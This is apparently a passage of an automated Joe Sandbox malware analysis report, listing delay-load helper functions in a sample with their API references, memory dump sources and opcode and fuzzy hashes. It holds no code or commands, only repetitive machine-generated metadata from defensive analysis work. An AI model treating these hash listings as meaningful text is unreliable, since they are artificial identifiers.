                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 71ece4210cb6afda5c02fd66cdeeb88b2102f9a5e271b9b52d24951677475a18
                                                                        • Instruction ID: 56245c78bad40d314c93ba56141c2688b4c90c3de4558d8fa66b233c2a47c1cf
                                                                        • Opcode Fuzzy Hash: 71ece4210cb6afda5c02fd66cdeeb88b2102f9a5e271b9b52d24951677475a18
                                                                        • Instruction Fuzzy Hash: 69B012D52B9184AC351B71071C02C7B824FC1C6BA0331803EFD0BC51A0D880BC700832
                                                                        Function 002FE250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 535a301a34d8d262b44b28586d74b23ba59d33b89f762875513c4ee8a22cc516
                                                                        • Instruction ID: cfad140b88e65d3e3047e371e19d5e3819b687e4a7fe4205fd0f1ad1366b115f
                                                                        • Opcode Fuzzy Hash: 535a301a34d8d262b44b28586d74b23ba59d33b89f762875513c4ee8a22cc516
                                                                        • Instruction Fuzzy Hash: 5AB012E52B9244BC355B72071C02C7B824FC1C5BA0331413EF90BC51A0D8807CA40832
                                                                        Function 002FE282 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 904c978cc92dd73d1f954fd4b3e0264bd6d34f9b30f9237652902464b404717a
                                                                        • Instruction ID: 345ae621617e346c3fe3ff0194fe02cd621a500b687dec8d58bb3fd7b7b7c063
                                                                        • Opcode Fuzzy Hash: 904c978cc92dd73d1f954fd4b3e0264bd6d34f9b30f9237652902464b404717a
                                                                        • Instruction Fuzzy Hash: 46B012E52BC104AC351B71071D02C7BC2CEC0C5BA0331403EF90BC51A0DC807D610831
                                                                        Function 002FE532 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 5a06bc5e32b4dff070f63e306ec7322f10532f81f5318a66d26a3569ee0d8224
                                                                        • Instruction ID: 4ea14eddc76ed055ae82a9b38875cd8086cc9f1cb432022f32755d562d36a697
                                                                        • Opcode Fuzzy Hash: 5a06bc5e32b4dff070f63e306ec7322f10532f81f5318a66d26a3569ee0d8224
                                                                        • Instruction Fuzzy Hash: B5B012C56B91047D350F61081C02D7B414DC0C5FA0371513EF506C51A1E8801C500831
                                                                        Function 002FE50D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 00b8454ba29498023cdbe4119e9532f4c090689f9c7bdf3c62bbc6ff9acb2b84
                                                                        • Instruction ID: e7ae81df28ae9c94b95963cfaff07b38a0986d09442e9aa342dcf8326a4801c3
                                                                        • Opcode Fuzzy Hash: 00b8454ba29498023cdbe4119e9532f4c090689f9c7bdf3c62bbc6ff9acb2b84
                                                                        • Instruction Fuzzy Hash: 39B012C56B91047C350B21241C06C7B410DC4C1FA0371513EF512C44A2E8801D540C31
                                                                        Function 002FE546 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE51F
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: 2/
                                                                        • API String ID: 1269201914-2808551700
                                                                        • Opcode ID: 1623378a02b4e850b49bf9681ff0fca067bd73c69a3d8927d8e62322f9d3398f
                                                                        • Instruction ID: cf02624e67c7a4f99b29eccee6d4e016455ae6ded9f951a1daaecd2447eb80bd
                                                                        • Opcode Fuzzy Hash: 1623378a02b4e850b49bf9681ff0fca067bd73c69a3d8927d8e62322f9d3398f
                                                                        • Instruction Fuzzy Hash: 57B012C56B92047C360B61085C03C7B414DC0C5FA0371533EF506C51A1E8801C940831
                                                                        Function 002FE5A7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: 06d9ddb096a0de025a445d8a06d16118a2f0c4b6e6d1d2c08b1a62947cd90e7e
                                                                        • Instruction ID: 422b8a1e286c843e853b8b48d20a50fa570b79194ceaa6ebe12fe98d75858df5
                                                                        • Opcode Fuzzy Hash: 06d9ddb096a0de025a445d8a06d16118a2f0c4b6e6d1d2c08b1a62947cd90e7e
                                                                        • Instruction Fuzzy Hash: A4B012C52B820C7C350B71545D03C77815DC0C4BA0376523EF505CA1A0EC801D610831
                                                                        Function 002FE5B1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: 77727b63e17b9cc388d5e8990b2f03073e16afcf4e655e4c4943d87973d7d8d4
                                                                        • Instruction ID: 800422b5564b8d4750b5d9173011118da7fbcc72d670eac0eed32e80f4b6c3c7
                                                                        • Opcode Fuzzy Hash: 77727b63e17b9cc388d5e8990b2f03073e16afcf4e655e4c4943d87973d7d8d4
                                                                        • Instruction Fuzzy Hash: 6CB012C52B830C7C354B71545C03C77415DC0C4BA0336523EF505CA1A0E8801CA00831
                                                                        Function 002FE593 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE580
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: F0wn/
                                                                        • API String ID: 1269201914-2850556303
                                                                        • Opcode ID: 47adac65bbed40ca8c7acbbf6aca158ce5ba2beae4a5967bbe74ae01cec48c97
                                                                        • Instruction ID: 83c698a2304cc21f952fe096aaecedc8cd1cc8e63529e3ffbd774c14099f99f7
                                                                        • Opcode Fuzzy Hash: 47adac65bbed40ca8c7acbbf6aca158ce5ba2beae4a5967bbe74ae01cec48c97
                                                                        • Instruction Fuzzy Hash: D6B012C52B820C7D350F71541C03C77414DD0C4BA0332503EF505CA1A0E8801C600831
                                                                        Function 002FE219 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: a0239e10cceb7e957c61ff15a91f68ca16556f18a067c2c62a454eced2178b78
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: a0239e10cceb7e957c61ff15a91f68ca16556f18a067c2c62a454eced2178b78
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE27D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: b26f6c8cdff007dfc4a9b479cf1cf18c0d559971b280757fe94e0820d4600b31
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: b26f6c8cdff007dfc4a9b479cf1cf18c0d559971b280757fe94e0820d4600b31
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE25F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: d7ba3a1c15a7e3f260b8c039bae898f990f208c2621568cd1bfc818e57b4cf61
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: d7ba3a1c15a7e3f260b8c039bae898f990f208c2621568cd1bfc818e57b4cf61
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2AF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: da4e09812cb3802a08998fcd7cdddaaeecdd4cbf1f055e4bc2c3645cdab15f42
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: da4e09812cb3802a08998fcd7cdddaaeecdd4cbf1f055e4bc2c3645cdab15f42
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2A5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 33b8b626c5f7c464a01061998dab8f21124369c6eae8ff727d99ef7f0f671bca
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: 33b8b626c5f7c464a01061998dab8f21124369c6eae8ff727d99ef7f0f671bca
                                                                        • Instruction Fuzzy Hash: DFA012D11B8105BC341A21031C02C7B820EC0C5BE0331443DF907C00A058802C600830
                                                                        Function 002FE2B9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 002FE1E3
                                                                          • Part of subcall function 002FE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 002FE8D0
                                                                          • Part of subcall function 002FE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 002FE8E1
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                        • String ID: /
                                                                        • API String ID: 1269201914-909568595
                                                                        • Opcode ID: 94b564b85b25f4aed00357035a2cb84b83cc141e15e924d4d00f5cd6d48f2841
                                                                        • Instruction ID: 7bee1f078e09288a7bd69079dca5d65e53ea3b19adafcfb014e037fe454eb404
                                                                        • Opcode Fuzzy Hash: 94b564b85b25f4aed00357035a2cb84b83cc141e15e924d4d00f5cd6d48f2841
